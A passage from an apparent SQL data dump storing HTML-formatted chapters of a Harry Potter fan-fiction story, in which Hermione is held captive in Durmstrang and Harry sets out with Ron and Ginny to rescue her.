style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry felt a brief\nleap of joy to find that his children were all right.&nbsp; He pulled them into a hug and openly wept, thankful that he had\nfound his children, yet despaired because of the loss of his wife.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;It&#8217;s an\nexchange,&#8221; he muttered to himself.&nbsp; &#8220;They\nexchanged Lily and James for Hermione.&nbsp;\nShe was the one they were after all along.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The young father\nsimply sat there weeping for a number of hours while he held his children close\nto him.&nbsp; It was in that position that\nRon and Ginny found him early the next morning.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Come on,\nmate.&nbsp; You&#8217;ve got to get back home,&#8221;\nsaid Ron.&nbsp; He and Ginny easily figured\nout what had happened.&nbsp; Harry however\nhad no intention of going back to Godric&#8217;s Hollow.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;We&#8217;re going to\nHogwarts,&#8221; he said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;What?&#8221; said Ron\nand Ginny in unison.&nbsp; Harry looked up at\nhis two friends with a new spark in his eye.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;We&#8217;re going to\nHogwarts,&#8221; he declared, a certain fire burning in his emerald eyes.&nbsp; &#8220;I&#8217;m going to figure out a way to save\nHermione.&nbsp; That best place to do that is\nat Hogwarts.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A/N I didn&#8217;t know\nthat you needed a disclaimer for orcs considering that its another name for\ngoblins.&nbsp; But I put one on the top of\nthis chapter so I&#8217;m sure that should make it satisfactory.&nbsp; So how was this chapter?&nbsp; R/R.&nbsp;\nNext: Mage Knights go across the sea.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(123, 5, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Disclaimer: The <u>Harry\nPotter</u> series belongs to J.K. Rowling, Warner Bros. Inc., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\nChapter\n5: To Durmstrang\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A few hours later,\nthe company sprang out of the fireplace of Hogwarts castle, having used Floo\nPowder.&nbsp; They were greeted by the\ncastle&#8217;s guardian, Albus Dumbledore.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Good morning,&#8221; he\nsaid.&nbsp; &#8220;And what brings you three here\nso early in the day?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron and Ginny\nexplained all that had happened to Dumbledore.&nbsp;\nHarry simply remained quiet the whole time, simply holding the sleeping\ntwins.&nbsp; After the Weasley&#8217;s had finished\nexplaining, Dumbledore turned to Harry, a grave look on his face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I assume you will\nbe going to Durmstrang to find your wife,&#8221; he said.&nbsp; &#8220;I must warn you, sending a Mage Knight to Durmstrang, even a\nlone one will constitute an act of war against Durmstrang.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;As far as I&#8217;m\nconcerned, we&#8217;re already at war with Durmstrang.&nbsp; At least Gryffindor is,&#8221; hissed Harry.&nbsp; Dumbledore simply made a grave look.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I need to ask you\na favor,&#8221; continued Harry.&nbsp; &#8220;While I am\ngone, I want Lily and James to be kept here at Hogwarts.&nbsp; This castle is the safest place in\nMagiterran.&nbsp; I&#8217;m not going to let my\ntwins be kidnapped again.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Dumbledore looked\ndown at the sleeping twins, his twinkle back in his eye.&nbsp; &#8220;I&#8217;m sure Hagrid would love to take care of\nthem.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I&#8217;m sure he\nwould,&#8221; said Harry.&nbsp; He finally let a\nsmall ghost of a smile cross his features.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron spoke up;\n&#8220;Ginny and I will go with you to Durmstrang.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;No!&nbsp; This is my fight.&nbsp; I&#8217;m not going to let anybody else get involved in my personal\naffairs.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Must be one heck\nof a personal fight if your whole kingdom&#8217;s going to war against Durmstrang,&#8221;\nsaid Ron sarcastically.&nbsp; Harry simply\nstared at his best friend.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;But, if we are\ngoing to war, I need you here to command the military,&#8221; argued Harry.&nbsp;&nbsp; &#8220;Who&#8217;s going to take command if you&#8217;re gone\nwith me?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;You have no need\nto worry about that,&#8221; called a voice from the shadows.&nbsp; Harry was completely startled as Lords\nSirius Black and Remus Lupin stepped out of the shadows.&nbsp; &#8220;We&#8217;ll take full control.&nbsp; After all it used to be our job,&#8221; said\nSirius with a grin.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;But,&#8221; said\nHarry.&nbsp; &#8220;You two are retired.&nbsp; I can&#8217;t just let you two get back into\nworking over this.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Remus started\nchuckling.&nbsp; &#8220;Harry, did you honestly we\nwould just sit around in our manors while the Alliance goes to war again.&nbsp; I think I remember that the condition for\nour retirement was that we spring right back into active duty when duty calls.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry remained\nspeechless for a couple of minutes looking absolutely stunned.&nbsp; Eventually however, he made a grin and\nallowed a tear to roll down his cheek.&nbsp;\n&#8220;Thank you, everyone,&#8221; he said.&nbsp;\n&#8220;You don&#8217;t know how much that means to me.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione woke up\nwith a headache and only a vague recollection of what had happened.&nbsp; After a few moments of thinking, she\nrecalled everything and sprang up.&nbsp; She\nfound herself in an unfamiliar four-poster bed with purple sheets in an\nunfamiliar room.&nbsp; She also found herself\ndressed in purple, unfamiliar night robes.&nbsp;\nHermione fingered the back of her ear and was relieved to find that her\nshrunken staff was still there.&nbsp; A\nsecond later, an unfamiliar man wearing purple kingly robes entered.&nbsp; He smiled and said, &#8220;Velcome Queen\nHermio-ninny.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Who are you?&nbsp; Where am I?&#8221; she demanded.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I am Viktor\nKrum.&nbsp; You are in Durmstrang.&nbsp; I am sure zat you vill be very happy here.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Take me home,\nnow!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;But Hermio-ninny,\nzis is your home.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;No its not!&#8221;\nyelled Hermione.&nbsp; &#8220;Take me back to my\nfamily, now!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Krum simply\nsighed.&nbsp; &#8220;You vill hav to readjust,&#8221; he\nsaid.&nbsp; &#8220;Zis is your home now.&nbsp; You vill just hav to deal vith it.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;GET OUT!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Hermio-ninny,&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;GET OUT!&nbsp; NOW!&#8221;&nbsp;\nHermione threw a vase on her bedside table at Krum.&nbsp; He dodged it and the vase shattered on the\nwall.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Reluctantly, Krum\nleft the room and shut the door behind him.&nbsp;\nHermione climbed under the sheets on the bed, buried her face into the\npillow and started crying.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">After Krum left\nHermione&#8217;s room, an old man wearing elegant looking scarlet and black robes\napproached him.&nbsp; He had gray hair and a\ntwirled goatee.&nbsp; This was Igor\nKarkaroff, prime minister of Durmstrang.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;How did she take\nit, Viktor?&#8221; he asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Not very vell,&#8221;\nhe answered.&nbsp; &#8220;But I believe zat she\nvill come to love it here.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;The sooner the\nbetter, Viktor,&#8221; said Karkaroff.&nbsp; &#8220;Give\nher gifts, jewelery, things so beautiful that she won&#8217;t look away.&nbsp; Give her servants that would obey her every\nneed.&nbsp; Throw lavish feasts in her\nhonor.&nbsp; The sooner she accepts\nDurmstrang as home the better it is for her.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Viktor\nnodded.&nbsp; &#8220;I vill get on it right\naway.&#8221;&nbsp; He walked away leaving Karkaroff\nbehind.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Karkaroff stared\nat Krum&#8217;s retreating figure before he lifted his left arm to his mouth.&nbsp; After looking around and making sure that no\none else was there, Karkaroff whispered, &#8220;Everything is going as planned,\nmaster.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A high-pitched\nvoice hissed back, &#8220;Good, good.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">It took a few days\nto prepare a portkey that would take the Mage Knights to Durmstrang.&nbsp; Furthermore, they also had to locate an area\nof the continent where the Mage Knights could enter from without being\ndetected.&nbsp; After studying all of the\navailable maps, they decided on a peninsula in the southern most part of the\ncontinent.&nbsp; It was quite far from the\nroyal capitol way up in the north but it was the most sparsely populated part\nof Durmstrang and the least likely place where they would run into any people.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry was highly\nimpatient about the amount of time it was taking to prepare.&nbsp; Of course, in his present state, he probably\nwould&#8217;ve charged right into the royal palace astride a dragon if anybody hadn&#8217;t\nheld him back.&nbsp; He wasn&#8217;t involved much\nin the planning, electing to spend time with his children before rushing off to\nsave their mother.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Finally, the day\narrived.&nbsp; Although Harry wanted to get\nto Hermione as fast as possible, he was very reluctant of leaving James and\nLily behind.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Don&#8217; worry abou&#8217;\nit, Harry,&#8221; said Hagrid as Harry passed him the babies.&nbsp; &#8220;Dumbledore and I&#8217;ll protect them with our\nlives if we &#8216;ave to.&#8221;&nbsp; Hagrid had taken\nan immediate liking of the twins as he rocked them back and forth in his huge\narms.&nbsp; He chuckled when Lily pulled at\nhis beard.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Your\nmajesty.&#8221;&nbsp; Harry whipped around to face\nthree Gryffindor Mage Knights: Sir Angelina Johnson, Sir Katie Bell, and Sir\nAlicia Spinnet.&nbsp; &#8220;We will be personally\nprotecting the prince and princess,&#8221; said Sir Alicia.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry smiled.&nbsp; &#8220;Thank you,&#8221; he said.&nbsp; &#8220;I suppose I owe you three in that case.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Sir Angelina\ngrinned.&nbsp; &#8220;Anything to serve the royal\nfamily.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Actually,&#8221; said\nSir Katie.&nbsp; &#8220;Its not us you should\nthank.&nbsp; Sir Ronald was the one who asked\nus.&#8221;&nbsp; Harry glanced at Ron who looked\naway looking sheepish.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Well, are we\nready to go?&#8221; asked Ginny.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry kissed Lily\nand James on their heads once more before walking up to the Weasleys.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;We&#8217;ll take care\nof &#8216;em, Harry,&#8221; said Hagrid.&nbsp; &#8220;That&#8217;s a\npromise.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Good luck,&#8221; said\nDumbledore.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Without, a word,\nHarry, Ron, and Ginny took hold of the portkey and disappeared.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A/N So, how did\nyou like this chapter?&nbsp; Hope it helps\nthe story run by smoothly.&nbsp; So anyway,\nplease R/R.&nbsp; Next: We got dragons!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(123, 6, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Disclaimer: The <u>Harry\nPotter</u> series belongs to J.K. Rowling, Warner Bros. Inc., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><b>Chapter 6: Into\nthe Dragons&#8217; Nest</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry, Ron, and\nGinny landed with a thud on rocky ground.&nbsp;\nRon seemed to have hit his rear end quite 